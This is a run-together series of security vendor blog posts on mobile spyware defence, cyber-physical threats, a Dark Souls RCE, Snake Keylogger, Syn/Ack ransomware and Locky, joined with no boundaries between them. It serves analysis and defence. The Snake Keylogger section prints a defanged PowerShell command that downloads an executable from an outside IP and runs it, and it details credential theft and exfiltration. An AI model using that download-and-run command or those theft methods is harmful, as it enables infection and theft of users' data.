Despite the fact that all browsers on iOS pretty much use the same engine, Webkit, some exploits do not work well (see LightRighter / TwoSailJunk APT case ) on some alternate browsers: LightRiver exploit kit check for “Safari” in the user agent string User agent strings on iOS from Safari, Chrome and Firefox Focus browsers: Safari: Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)
Version/15.1 Mobile/15E148 Safari /604.1
Chrome: Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15
(KHTML, like Gecko) CriOS/96.0.4664.53
Mobile/15E148 Safari /604.1
Firefox Focus:
Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)
FxiOS/39
Mobile/15E148 Version/15.0 Always use a VPN that masks your traffic.
Some exploits are delivered through GSM operator MitM attacks, when browsing HTTP sites or by DNS hijack.
Using a VPN to mask the traffic makes it difficult for your GSM operator to target you directly over the Internet.
It also complicates the targeting process if the attackers have control over your data stream, such as while in roaming.
Please note that not all VPNs are the same and not any VPN is fine to use.
Without favoring any specific VPN provider, here’s a few things to consider when you shop for a VPN subscription with anonymity being a top priority:
Purchase means just that — no “free” VPNs.
Look for services that you can accept payment with cryptocurrencies.
Look for services that do not require you to provide any registration info.
Try to avoid VPN apps — instead, use open-source tools such as OpenVPN, WireGuard and VPN profiles.
Avoid new VPN services and look for established services that have been around for some time.
Install a security application that checks and warns if the device is jailbroken.
Frustrated from getting kicked over and over, the attackers will eventually deploy a persistence mechanism and jailbreak your device in the process.
This is where the chance of catching them increases tenfold and we can take advantage of the fact that the device is jailbroken.
Make iTunes backups once per month.
this allows diagnosing and finding infections later, through the use of the wonderful MVT package from Amnesty International (more on that later).
Trigger sysdiags often and save them to external backups.
Forensics artifacts can help you determine at a later time if you have been targeted.
Triggering a sysdiag depends on the phone model — for instance, on some iPhone’s, this is done by pressing Volume Up + Volume Down + Power at the same time.
You may need to play with this a couple of times, until the phone buzzes.
Once the sysdiag is created, it will appear in diagnostics: How to protect from advanced spyware on Android A similar list for Android users (for details and reasoning check the list for iOS above):
Reboot daily.
Persistence on the latest Android versions is difficult, many APTs and exploit sellers avoid persistence whatsoever!
Keep phone up to date; install latest patches.
Don’t ever click on links received in text messages.
Browse the internet with an alternate browser such as Firefox Focus instead of the default Chrome.
Always use a VPN that masks your traffic.
Some exploits are delivered through GSM operator MitM attacks, when browsing HTTP sites or by DNS hijack.
Install a security suite that scans for malware and checks and warns if the device is rooted.
At a more sophisticated level — both for iOS and Android — always check your network traffic using live IoCs.
A good setup might include a Wireguard always-on VPN to a server under your control, that uses pihole to filter out bad stuff and logs all the traffic for further inspection.
How to get by without iMessage I was talking to my friend Ryan Naraine recently, and he said — “iMessage and FaceTime — these are the reasons why people use iPhones!”
and for sure, he’s right.
I’ve myself been an iPhone user since 2008 and think iMessage and FaceTime were two of the greatest things Apple added to this ecosystem.
When I realized that these are also some of the most exploited features that let nation states spy on your phone, I tried to escape the iMessage Hotel California .
The hardest thing?
Getting the family to stop using it too.
Surprising as it may sound, this was one of the most difficult things in this whole security saga.
At first, I tried to switch everyone to Telegram .
This didn’t go too well.
Then, Signal got better and better, implemented Video calls and group calling.
In time, more and more friends started moving to Signal .
And this worked well with my family too.
I’m not saying you should do the same.
Perhaps you can keep iMessage enabled and live happily and malware free — truth be told, Apple greatly improved the security sandbox around iMessage with BlastDoor in iOS 14.
Nevertheless, the FORCEDENTRY exploit used by NSO to deliver Pegasus bypassed BlastDoor and of course, no security feature is ever 100% hack-proof.
So, what is the best of both worlds, you may ask?
Some people, including myself, have several phones — one where iMessage is disabled, and a “honeypot” iPhone where iMessage is enabled.
Both are nicely associated with the same Apple ID and phone number.
If someone decides to target me this way, there’s a good chance they will end up in the honeypot phone.
How to detect Pegasus and other advanced mobile malware Detecting infection traces from Pegasus and other advanced mobile malware is very tricky, and complicated by the security features of modern operating systems such as iOS and Android.
Based on our observations, this is further complicated by the deployment of non-persistent malware, which leaves almost no traces after reboot.
Since many forensics frameworks require a device jailbreak, which in turn requires a reboot, this results in the malware being removed from memory during the reboot.
Currently, several methods can be used for detection of Pegasus and other mobile malware.
MVT (Mobile Verification Toolkit) from Amnesty International is free, open source and allows technologists and investigators to inspect mobile phones for signs of infection.
MVT is further boosted by a list of IoCs (indicators of compromise) collected from high profile cases and made available by Amnesty International.
What to do if you got infected with Pegasus
So you followed all these recommendations carefully and still got infected.
Sadly, this is the reality we live in nowadays.
I feel for you, really.
You may not be a bad guy at all — on the contrary, I’m sure you’re one of the good guys.
Perhaps you spoke against powerful people, or participated in some protests against a questionable decision from certain political figures, or simply used encryption software or been in the wrong place at the wrong time.
Look on the bright side — you know you’ve been infected, because artifacts and knowledge allowed you to determine that.
Think of the following things: Who targeted you and why?
Try to figure out what it was that brought you into the attention of the big guys.
Is this something that you can avoid in the future through more stealthy behavior?
Can you speak about it?
The thing that eventually brought down many surveillance companies was bad publicity.
Reporters and journalists writing about abuses and exposing the lies, wrongdoing and all the evil.
If you’ve been targeted try to find a journalist and tell them your story.
Change your device — if you were on iOS, try moving to Android for a while.
If you were on Android, move to iOS.
This might confuse attackers for some time; for instance, some threat actors are known to have purchased exploitation systems that only work on a certain brand of phone and OS.
Get a secondary device, preferably running GrapheneOS, for secure comms.
Use a prepaid card in it, or, only connect by Wi-Fi and TOR while in airplane mode.
Avoid messengers where you need to provide your contacts with your phone number.
Once an attacker has your phone number they can easily target you across many different messengers via this — iMessage, WhatsApp, Signal, Telegram, they are all tied to your phone number.
An interesting new choice here is Session, which automatically routes your messages through an Onion-style network and doesn’t rely on phone numbers.
Try to get in touch with a security researcher in your area and constantly discuss best practices.
Share artifacts, suspicious messages or logs whenever you think something is odd.
Security is never a single snapshot solution that is 100% proof; think of it like a stream that flows and you need to adjust your sailing depending on the speed, currents and obstacles.
At the end of this, I’d like to leave you with a thought.
If you get targeted by nation states, that means you are important .
Remember: it’s nice to be important, but it’s more important to be nice.
Alone, we are weak, together, we are strong.
The world may be broken, but I believe we are living at a time when we can still change things.
According to a report from the nonprofit group Committee to Protect Journalists , 293 journalists were imprisoned in 2021, the highest number CPJ has ever reported since it started tracking it, in 1992.
It’s up to us to shape how the world will look like for us in 10 years, for our children and our children’s children.
You, the people have the power — the power to create machines.
The power to create happiness!
You, the people, have the power to make this life free and beautiful, to make this life a wonderful adventure.
Then — in the name of democracy — let us use that power — let us all unite.
Let us fight for a new world — a decent world that will give men a chance to work — that will give youth a future and old age a security.
By the promise of these things, brutes have risen to power.
But they lie!
They do not fulfil that promise.
They never will!
Dictators free themselves but they enslave the people!
Now let us fight to fulfil that promise!
Let us fight to free the world — to do away with national barriers — to do away with greed, with hate and intolerance.
Let us fight for a world of reason, a world where science and progress will lead to all men’s happiness.
Soldiers!
in the name of democracy, let us all unite!
Final speech from The Great Dictator
This post originally ran as a series of op-eds in Dark Reading ( part 1 , part 2 ).
By Steve Povolny on Oct 09, 2018
Cyberattacks have always been, well, cyber.
Their immediate effects were on our data, our digital information, and our devices…until they weren’t.
The interconnected nature of the world and the way it’s built in 2018 has brought us exciting and revolutionary innovations, but it has also been leveraged by hackers to extend the impact of a cyberattack beyond the digital sphere into the physical.
Pacemakers can be hacked, shocks can be sent to patients remotely.
Critical infrastructure can be taken down , rendering cities powerless.
Large corporations we trust with our data are violating that trust by collecting our data unknowingly, and even tracking our locations without consent.
Cybercrime is no longer just cyber, and it can compromise a lot more than just data.
When you think of one’s well-being, physical health often comes to mind.
Hospitals, health care, and medical tools and devices have evolved to become members of an interconnected ecosystem.
Many health care systems connect to the internet to operate, the same holds true with numerous medical devices such as pacemakers.
But that makes the latter part of the ”Internet of Things,” a growing collection of connected devices which are potentially vulnerable to cyberattack.
In fact, there have already been reports of threats to these medical devices.
Just last year , the FBI recalled half a million pacemakers, as a crucial flaw was discovered that could expose users to an attack.
Additionally, security researchers recently revealed a chain of vulnerabilities in a particular pacemaker brand that an attacker could exploit to control implanted pacemakers remotely and cause physical harm to patients.
Cybercriminals have also set their sights on larger targets when it comes to hacking health care devices and institutions.
We’ve seen a handful of hospitals taken offline in recent ransomware attacks , all due to the use of outdated or vulnerable systems.
Some of these attacks locked patient data and made proper care unachievable for hours on end.
Hospitals are also not the only type of critical infrastructure that’s been on the victim’s end of a cyberattack.
In fact, cybercriminals have recently begun hitting critical infrastructure hard and fast, with dramatic results emerging from their efforts.
They’ve infamously put an entire city in the Ukraine out of power for about an hour.
Then there was the Schneider Electric hack , in which cybercriminals leveraged a zero-day vulnerability within an industrial plant’s safety system for a cyberattack.
There are also cyber issues that impact our physical safety that don’t even come in the form of an attack.
Lately, news has been circulating about big-name companies tracking users’ locations or data, even when certain settings are off or when the user is unaware of the action.
Specifically, it was discovered that even if a user disables Location History, Google still tracks users in particular instances — whenever they open up the Maps app, scan the internet for certain things, or receive automatic weather notifications.
Even smartwatches have been used recently to record and track kids’ physical location .
Ramifications such as these have changed the nature of privacy, as well as digital and physical safety as we know it.
But as the threat landscape is evolving, so is the industry determined to protect innocent users everywhere.
We at McAfee are working together with our entire industry to stop these types of attacks.
We’re sharing threat intelligence, resources, and research findings to ensure we put up a united front against these threats.
By learning from these attacks, we’re better preparing for those to come.
We believe that together is power.
And though these attacks are advanced, we know that acting together to stop them will be even more powerful.
To learn more about McAfee’s approach to protecting against advanced cyberattacks and more, be sure to check us out at @McAfee and @McAfee_Labs .
The gaming community is discussing a recent vulnerability in the Dark Souls III videogame.
This RCE vulnerability allows attackers to remotely execute arbitrary code on a victim’s computer.
Apparently, the vulnerability also affects earlier games in the Dark Soul series: because of this the developers have taken the unusual step of temporarily deactivating PvP servers across Dark Souls Remastered, Dark Souls II, and Dark Souls III.
According to the developers , they also plan to turn off servers for Dark Souls: Prepare To Die as well.
Players fear that the same vulnerability could also affect the upcoming Elden Ring game, which is thought to use the same infrastructure.
The bug is relevant only for PC users, so Xbox and PlayStation are unaffected.
Why Dark Souls vulnerability is so dangerous This vulnerability allows an attacker to execute almost any program on the victim’s computer, so they’re able to steal confidential data or execute any program they wish (including installing malware).
You can find a demonstration of the exploit in the Twitch stream of the player named The_Grim_Sleeper in which an unknown person launched a PowerShell script on the streamer’s computer that used the Windows Narrator engine to read out critical notes about the gameplay.
What is the chance that Dark Souls vulnerability will be exploited ITW?
The details of the exploit for this vulnerability are not available to the general public, at least not yet.
Despite the ethically dubious way of drawing attention to the problem, the person behind the attack apparently was not trying to cause any real harm.
Judging by the discussion in the Dark Souls community, the creator of the exploit has been trying to inform the game’s developers about this serious vulnerability for some time, but they had ignored his messages.
That’s why he decided to hack a popular streamer right during the streaming session.
However, this information is not 100% reliable, in reality everything may not be so straight-forward.
For example, the creator of the exploit has already shared information about the vulnerability with the developers of the Blue Sentinel plugin, a mod for Dark Souls designed to counteract cheats.
And one can only guess who else could get this information.
Also, once demonstrated, other hackers may try to replicate the exploit and use it to cause real harm to players.
There are various possible scenarios here: attackers can use it to steal passwords from game accounts or crypto wallets, install good old ransomware, hidden miners, and much more.
How to stay safe from Dark Souls vulnerability?
Apparently, FromSoftware is currently trying to solve the problem.
Let’s hope they can fix the vulnerability quickly.
However, in the meantime we recommend using high-quality security solutions for each device .
Thanks to a special gaming mode, our antiviruses protect against all kinds of threats, including the exploitation of vulnerabilities, while consuming a minimum of PC resources and without interfering with the gameplay.
FortiGuard Labs Threat Research Report Affected platforms: Microsoft Windows Impacted parties: Windows Users Impact: Collects sensitive information from victims’ device Severity level :             Critical Fortinet’s FortiGuard Labs recently captured a Microsoft Excel sample from the wild that was used to spread malware .
After researching its behaviors, I recognized it as a fresh variant of the Snake Keylogger malware.
Snake Keylogger is a malware developed using .NET.
It first appeared in late 2020 and focused on stealing sensitive information from a victim’s device, including saved credentials, the victim’s keystrokes, screenshots of the victim’s screen, and clipboard data.
In July, 2021, Snake Keylogger first entered into a TOP 10 popular malware families report, meaning that the Snake Keylogger family is increasing its influence and impacting more people’s devices and sensitive data.
In this threat research blog you will learn how the Snake Keylogger variant is downloaded and executed through a captured Excel sample, what techniques this variant uses to protect it from being analyzed, what sensitive information it steals from a victim’s machine, and how it submits that collected data to the attacker.
Here we go.
What the Captured Microsoft Excel Sample Looks Like This Excel sample, delivered as an attachment in a phishing email, contains malicious Macro VBA code.
Figure 1.1 shows a screenshot of when it is opened.
It displays a vague picture of a document and asks the victim to click the yellow button to get a clearer image.
Once the yellow button “Enable Content” is clicked by victim, the malicious VBA code is executed in the background.
The malicious macro project that contains the malicious VBA code is password protected so it cannot be viewed by the analyzer.
However, we were able to modify its binary file to remove this restriction.
Going through its code, a “Workbook_Activate()” method is automatically called when the document is opened.
It writes a piece of PowerShell code from a local variable into a BAT file.
Figure 1.2 shows partial VBA code of this method, where variable “s” holds the PowerShell code and \"Gqyztfbtsogpnruooqr.bat\" is the BAT file, which is finally executed by calling code “x = Shell(bat, 0)”.
The bottom of Figure 1.2 shows the content of variable “s”, which contains the base64-encoded PowerShell code that is decoded by PowerShell.exe when it is executed.
Below is the base64-decoded PowerShell code: $ProcName = \"Wheahmnfpgaqse.exe\"; (New-Object System.
Net.
WebClient).
DownloadFile (\"hxxp[:]//3[.]64[.]251[.
]139/v3/2/Requests07520000652.exe\",\"$env:APPDATA\\$ProcName\"); Start-Process (\"$env:APPDATA\\$ProcName\")
The PowerShell code is very simple and easy to understand.
It downloads a file (“Requests07520000652.exe”) onto a victim’s device, places it at “%AppData%\\Wheahmnfpgaqse.exe\" by calling “DownloadFile()”, and executes it by calling “Start-Process()”.
Snake Keylogger Downloader After some research, I learned that the file \"Wheahmnfpgaqse.exe\" is a downloader of Snake Keylogger, which is a .Net program.
When it starts, it sleeps 21 seconds to bypass those sandboxes with a strategy of killing a sample process when a timeout of no-action is triggered.
Twenty one seconds later, the downloader then invokes a function called “Consturctor()”, as you can see in Figure 2.1.
It then invokes another function “Program.
List_Types()”, where it downloads Snake Keylogger module from the link “hxxps[:]//store2[.]gofile[.
]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll”, which is a RC4 encrypted DLL file.
Next, it calls “ToRc()” function to RC4 decrypt it using a decryption key \"Dllzjn\".
It then proceeds to load the decrypted Dll module (a .Net
Dll file, called “Huzeigtmvaplpinhoo.dll”), and enumerates its export functions to find \"G6doICqoMU()\", which is invoked by executing “type.
InvokeMember(\\\"G6doICqoMU\\\", BindingFlags.
InvokeMethod, null, null, null)” in function Consturctor(), as shown in Figure 2.1.
The decrypted .Net
Dll is a dropper and installer of Snake Keylogger.
Let’s dive into this module to see how it performs its tasks.
Snake Keylogger Installer According to my analysis, the decrypted Dll module (“Huzeigtmvaplpinhoo.dll”) deploys Snake Keylogger onto a victim’s device and sets it as an auto-run program.
It extracts an executable PE file into memory from the Resource directory and then performs process hollowing that injects the executable PE file into a newly created child process and executes it.
I will explain in detail how it performs these functions in this section.
1.
Persistence Mechanism Figure 3.1 shows an outline of the decrypted Dll module (“Huzeigtmvaplpinhoo.dll”).
As you can see, to prevent its code from being analyzed the file is obfuscated so that the class names, function names, and variable names are all randomly generated meaningless strings.
This creates trouble for analysts when analyzing it.
The full name of the export function “G6doICqoMU()” is “Huzeigtmvaplpinhoo!pXfqpio3clcAoFxTnfJ.CORFgLoyRGlurYwdwIh.
G6doICqoMU()”.
Again, for the same reason as before, it sleeps 35 seconds at the beginning of this function to bypass some malware analysis systems.
Next, it works to make this Snake Keylogger persistent on the infected Windows.
As we all know, a Windows system has a “Startup” folder inside the “Start Menu”.
The programs inside this folder are started when Windows starts.
The full path to this folder is defined in the system registry with a string value of “HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell
Folders\\Startup” and “HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup”.
The value data of “Startup” is C:\\Users\\{UserName}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup” by default.
This variant of Snake Keylogger changes both the values of “Startup” to other folders.
Figure 3.2 shows the code changing the Windows startup folder to “C:\\Users\\M0YTes0Env\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\chsg\\” by calling the API SetValue().
In the bottom half of Figure 3.2 you can see the content of the system registry path, value name, and new value data.
“chsg” is a new folder created by Snake Keylogger.
The program copies the Snake Keylogger file (the downloaded \"Wheahmnfpgaqse.exe\") into this folder and renames it as “sgosr.exe”.
This ensures that Snake Keylogger will be started by the Windows system every time it starts.
2.
Extraction from Resource Although the content of Huzeigtmvaplpinhoo.dll only appears in memory, to analyze it I saved it into a local file.
It has several resources in the Resource directory, as shown below in Figure 3.3.
The process of extracting the payload file of Snake Keylogger is a little complicated.
It uses a tricky way to load the resource.
It has a local callback function defined by ResolveEventHandler that is registered to AppDomain.
ResourceResolve, which is then called when it fails to load a resource by name.
It looks like an exception handler to Windows SEH strategy to handle exceptions.
In addition, it has another local callback function registered to AppDomain.
AssemblyResolve, which is called when it fails to load an assembly (like a module) by name.
Below is a pseudocode of registering a local resource resolve, where T9wOjU5ccxTJaVfUntn.
Osc50oil0l is the local callback function.
AppDomain.
ResourceResolve += new ResolveEventHandler(T9wOjU5ccxTJaVfUntn.
Osc50oil0l)
Now, let’s see how Snake Keylogger solves this challenge—loading a nonexistent resource, which will trigger the resource loading failure.
It plans to read a Resource named \"Qkxkikeg\" from the current module, which has no such named resource in the Resource directory, as you can see in Figure 3.3.
A resource loading failure occurs and the registered local ResolveEventHandler function is called to solve this error.
This then causes a loading assembly failure and its assembly resolve callback function is called.
A while later, another PE file, decrypted from resource “{d977ee8c-85ce-4731-b9a1-323ba88c6eeb}‎”, appears in memory.
It contains a resource with the name “Qkxkikeg”, which is the original request resource name, as shown in Figure 3.4.
The payload of Snake Keylogger is just a compressed in GZIP format in the resource “Qkxkikeg” under the Resource directory “ClassLibrary1.Properties.
Resources”.
Figure 3.5 displays the GZIP data of the resource “Qkxkikeg” (reversed) on the left and the decompressed Snake Keylogger on the right side.
3.
Process Hollowing The program then creates a suspended child process and deploys the compressed Snake Keylogger payload into the child process.
It then resumes the child process to run.
Meanwhile, the parent process exits by calling the function Environment.
Exit(0).
According to the code in Figure 3.6, it is about to call API CreateProcess() to create the child process with Creation Flag 134217732U (0x8000004), which means CREATE_NO_WINDOW and CREATE_SUSPENDED.
It then calls the API WriteProcessMemory() to copy the Snake Keylogger payload into the child process, section by section.
It next calls SetThreadContext() to make the child process point to the entry point function of Snake Keylogger.
Before the parent process exits, an API ResumeThread() is called to have the child process restored to run.
Snake Keylogger Payload
The code of the Snake Keylogger payload file is fully obfuscated, as shown in Figure 4.1, to protect it from being analyzed.
The class and function names are unreadable.
Therefore, to better analyze and explain its code and intention, I deobfuscated the payload file using the tool “de4dot”.
This made its code more readable, and my analysis is based on that result.
Going through the Snake Keylogger code, I realized that it provides features like recording a victim’s keystrokes (the keylogger), stealing data from the clipboard, obtaining a victim’s screenshot, stealing the data on the system clipboard, as well as stealing saved credentials for some specified software clients installed on a victim’s device.
1.
Keylogger Feature Figure 4.2 shows a code snippet of setting up the keylogger.
It calls API SetWindowsHookExA() to register a hook callback function( this.callback_ProcessKey()) to monitor low-level keyboard input events.
The first parameter is the hook type, where “13” indicates WH_KEYBOARD_LL.
After that, the callback function is called by the Windows system when the victim types, so it is able to handle and record the keystrokes into a global string variable.
It also records the foreground Window title to identify where the victim types by calling the APIs GetForegroundWindow() and GetWindowText ().
It also has a Timer (Timer0) that keeps sending the keylogger data to the attacker.
2.
Screenshot
It is able to take screenshots of the victim’s device.
It has a Timer (Timer1), which captures the victim’s screenshots from time to time by calling API CopyFromScreen().
It saves the screenshot into a local Screenshot.png file in the system’s “MyDocuments” folder.
It also sends this picture file to the attacker.
3.
System Clipboard It has two Timers.
One (Time2) is used to collect system clipboard data by calling Clipboard.
GetText() and save to a global variable.
The other (Time3) is used to send collected clipboard data to the attacker.
Figure 4.3 shows the Timer function used to obtain system clipboard data.
Every time it counts down it checks to see whether current clipboard data has been collected in the global variable main_cls.string_clipboard_data.
If not, it appends the current clipboard data to the global variable.
4.
Steal Credentials Based on my analysis, this variant’s main work is to steal credentials from the victim’s device.
It implements stealing credentials in the Main() function, as shown in Figure 4.4, below.
This is the deobfuscated Main() function showing the functions used to steal credentials from various clients.
The function at the bottom submits the stolen credentials.
These functions obtain the saved credentials for each software from the different places they are save their credentials, including local files (like Chrome) and system registry (like Outlook), etc.
I will now use Outlook as an example to explain how Snake Keylogger collects credentials.
Figure 4.5 is a screenshot of a function that is about to read the credentials of Microsoft Outlook from the system registry.
It goes through four registry paths for different Outlook versions to read out (if applicable) “Email” and \"IMAP Password\" or \"POP3 Password\" or \"HTTP Password\" or \"SMTP Password\" and “SMTP Server”.
Below is an example showing what credentials information Snake Keylogger can collect from Microsoft Outlook: I have categorized those clients that Snake Keylogger focuses on as below: Web Browsers: Google Chrome, Mozilla Firefox, Mozilla SeaMonkey Browser, Mozilla IceCat Browser, Yandex Browser, Microsoft Edge, Amigo Browser, Nichrome Browser, QQBrowser, Coccoc Browser, Orbitum Browser, Slimjet Browser, Iridium Browser, Vivaldi Browser, Iron Browser, Ghost Browser, Cent Browser, Xvast Browser, Chedot Browser, SuperBird Browser, 360 Browser, 360 Secure Browser, Comodo Dragon Browser, Brave-Browser, Torch Browser, UC Browser, Blisk Browser, Epic Privacy Browser, Opera Web Browser, Liebao Browser, Avast Browser, Kinza Browser, BlackHawk Browser, Citrio Browser, Uran Browser, Coowon Browser, 7 Star Browser, QIP Surf Browser, Sleipnir Browser, Chrome Canary Browser, CoolNovo Browser, SalamWeb Browser, Sputnik Browser Extension, Falkon Browser, Elements Browser, Slim Browser, Ice Dragon Browser, CyberFox Browser, PaleMoon Browser, Waterfox Browser, Kometa Browser and various browsers designed based on Chromium project.
Email Clients: Microsoft OutLook, Tencent Foxmail, Mozilla Thunderbird and Postbox.
Other Clients: FileZilla, Pidgin and Discord.
Sending the Stolen Data to the Attacker Per the code of this variant of Snake Keylogger, it sends an email to the attacker (using SMTP protocol) to submit the stolen credentials data of the victim.
Snake Keylogger collects basic information regarding the victim’s Windows system, like User name, PC name, System Date and Time, Public IP address, and Country, which are put in the header of the collected credentials.
Figure 5.1 shows crafting the email with stolen credentials to be sent to the attacker.
The bottom is the email’s Subject and Body.
The stolen credentials are put in two attachments, “Passwords.txt” and “User.txt”.
Figure 5.2 is a screenshot of “Password.txt” attached to the email sent to the attacker with basic information and credentials stolen from my testing Windows system.
To send stolen data to the attacker, it defines some variables containing the sender’s email address, password, SMTP server address, and SMTP port, as shown in figure 5.3.
It defines the variables in the class’s constructor function.
Besides sending data via email, this Snake Keylogger variant also offers FTP and Telegram methods to submit collected sensitive data to the attacker.
For FTP, the attacker needs to set up an FTP server and then tell Snake Keylogger the address of the FTP server and credentials for Snake Keylogger to upload stolen sensitive data.
For Telegram, Snake Keylogger uses the “sendDocument” method of the “Telegram Bot API” to submit its stolen data to the Telegram account that the attacker provides.
Refer to Figure 5.4 for more information about the method of Telegram.
Conclusion on Snake Keylogger
Malware In order to better understand the entire process of this malware, I drew a flow chart in Figure 6.1 that outlines the main steps explained in this analysis.
At the beginning of this analysis, we went through how a malicious Macro inside an Excel document executes PowerShell that downloads the Snake Keylogger's downloader.
Next, I focused more on how the Snake Keylogger installer performs persistence on the victim's device and the complicated, tricky way it extracts the payload of Snake Keylogger.
I then elaborated on the features this variant of Snake Keylogger offers, like recording keystrokes, collecting credentials data, clipboard data, and screenshots.
And finally, I explained how the collected data is submitted to the attacker via email, as well as two other methods: FTP and Telegram.
Fortinet Protections Fortinet customers are already protected from this malware by FortiGuard’s Web Filtering , AntiVirus, FortiEDR , and CDR (content disarm and reconstruction) services, as follows:
The malicious Macro inside the Excel sample can be disarmed by the FortiGuard CDR (content disarm and reconstruction) service.
All relevant URLs have been rated as \" Malicious Websites \" by the FortiGuard Web Filtering service.
The original Excel sample and Snake Keylogger downloader files are detected as \" VBA/SnakeKeylogger.84D0!tr \" and \" MSIL/SnakeKeylogger.
ADFA!tr \" and are blocked by the FortiGuard AntiVirus service.
FortiEDR detects the downloaded executable file as malicious based on its behavior.
FortiMail protects Fortinet customers by blocking phishing emails.
We also suggest that readers go through the free NSE training : NSE 1 – Information Security Awareness , which has a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.
IOCs URLs: \"hxxp[:]//3[.]64[.]251[.
]139/v3/2/Requests07520000652.exe\" \"hxxps[:]//store2[.]gofile[.
]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll\" Sample SHA-256: [SOA# 1769.xlsm] 3B437BAA9A07E9DECE2659F20B5D97F8F729BA077D399933041CDC656C8D4D04 [Requests07520000652.exe or Wheahmnfpgaqse.exe] 53D520C1F12FE4E479C6E31626F7D4ABA5A65D107C1A13401380EBCA7CCA5B05 References: https://blog.checkpoint.com/2021/08/12/july-2021s-most-wanted-malware-snake-keylogger-enters-top-10-for-first-time/
https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.assemblyresolve?view=net-5.0 https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.resourceresolve?view=net-5.0 Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
By Charles McFarland and Steve Povolny on May 11, 2018 McAfee’s Advanced Threat Research team has performed analysis on samples of Syn/Ack ransomware implementing Process Doppelgänging.
For those who are concerned about the potential impact of this ransomware but are currently unable to implement McAfee product protections, we have found a simple but interesting alternative method.
Prior to encryption and ransom, the malware first checks if one of several hardcoded keyboards or languages is installed on the target machine.
If found, the malicious code will terminate, effectively resulting in an extremely simple “patch” of sorts.
We have tested the following steps to be effective on several versions of Windows 7 and theoretically on Windows 10 – preventing the malware from encryption and ransom.
These steps can be taken proactively.
Due to limited scope of testing at this time, this technique may not work on all systems, release versions, and configurations.
Windows 7 – Adding Keyboard Layout: Control Panel > Clock, Language, and Region > Region and Language > Keyboards and Languages Click the “Change Keyboards” tab In the Installed Services section click “add” Select Keyboard – For example: Russian (Russia) >
Keyboard >
Russian Click “Ok” Click “Apply”
Click “Ok” Here is the list of keyboards layouts you can add – any will suffice: Armenian Azeri, (Cyrillic, Azerbaijan) Belarusian Georgian Kazakh Ukrainian Uzbek (Cryillic, Uzbekistan)
Uzbek (Latin,Uzbekistan)
Russian Tajik Windows 10 – Adding Language Support: Control Panel >
Language >
Add a language Armenian Azeri, (Cyrillic, Azerbaijan) Belarusian Georgian Kazakh Ukrainian Uzbek (Cryillic, Uzbekistan)
Uzbek (Latin,Uzbekistan)
Russian Tajik That’s all it takes!
Please note – this should not be considered a fully effective or long-term strategy.
It is highly likely the malware will change based on this finding; thus, we recommend the McAfee product protections referenced above for best effect.
FireEye Labs is detecting a significant spike in Locky ransomware downloaders due to a pair of concurrent email spam campaigns impacting users in over 50 countries.
Some of the top affected countries are depicted in Figure 1.
Figure 1.
Affected countries As seen in Figure 2, the steep spike starts on March 21, 2016, where Locky is running campaigns that coincide with the new Dridex campaigns that were discussed in the blog, “Stop Scanning My Macro”.
Figure 2.
Detection on spam delivered malware Prior to Locky’s emergence in February 2016, Dridex was known to be responsible for a relatively higher volume of email spam campaigns.
However, as shown in Figure 3, we can see that Locky is catching up with Dridex’s spam activities.
This is especially true for this week, as we are seeing more Locky-related spam themes than Dridex.
On top of that, we also are seeing Dridex and Locky running campaigns on the same day, which resulted in an abnormal detection spike.
Figure 3.
Dridex versus Locky spam campaign over time Locky Ransomware spam The new Locky spam campaign uses several themes such as “invoice notice”, “attached image”, and “attached document themes”.
See Figure 4 and Figure 5 for example campaign emails.
Figure 4.
Urgent Invoice Campaign Figure 5.
Other Campaigns The ZIP attachment as depicted in Figure 6 contains a malicious JavaScript downloader that downloads and installs the Locky ransomware.
Figure 6.
Zipped Content In Figure 7, it is interesting to see that the recent Locky campaign seems to prefer using a JavaScript-based downloader in comparison to Microsoft Word and Excel macro-based downloaders, which were seen being used in its early days.
Figure 7.
Locky Downloader Mechanism The preference for JavaScript downloaders could be due to the ease to transform or obfuscate the script via automation to generate new variants as depicted in Figure 8.
As a result, the traditional signature-based solution may not keep up with the variants where its behavioral intent is the same.
At the time of discovery, most of the samples that we see are being detected by only one vendor, according to VirusTotal.
Figure 8.
Obfuscated JavaScript code
Conclusions The volume of Locky ransomware downloaders observed is increasing and it may potentially replace the Dridex downloader as the top spammer.
One of the latest victims of Locky is Methodist Hospital [1], where the victim was reportedly forced to pay a ransom to retrieve their encrypted data.
This suggests that the cybercriminals are earning more from ransomware and this drives their aggressive campaigns.
On top of that, JavaScript downloaders seem to be the preferred medium for delivering its payload as it could be easily obfuscated to create new variants.
Technical Analysis of a Locky Payload Sample MD5 Sum: 3F118D0B888430AB9F58FC2589207988 (First seen on 2016-02-24 in VirusTotal) Persistence Mechanism
The malware does not contain a persistence mechanism.
An external tool or installer is required if the attacker desires persistence.
The malware contains the ability to install the following registry key for persistence; this functionality is disabled in this variant.
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Locky <path_to_malware
> File System Artifacts
The malware encrypts files on the system and creates new files with the encrypted contents in the same directory with the following naming convention: <system identifier><16 random hex
digits>.locky The <system identifier> value is the ASCII hexadecimal representation of the first eight bytes of the MD5 hash of the GUID of the system volume.
The malware drops a ransom note provided by the C2 server in all directories with encrypted files and on the desktop of the current user: _Locky_recover_instructions.txt
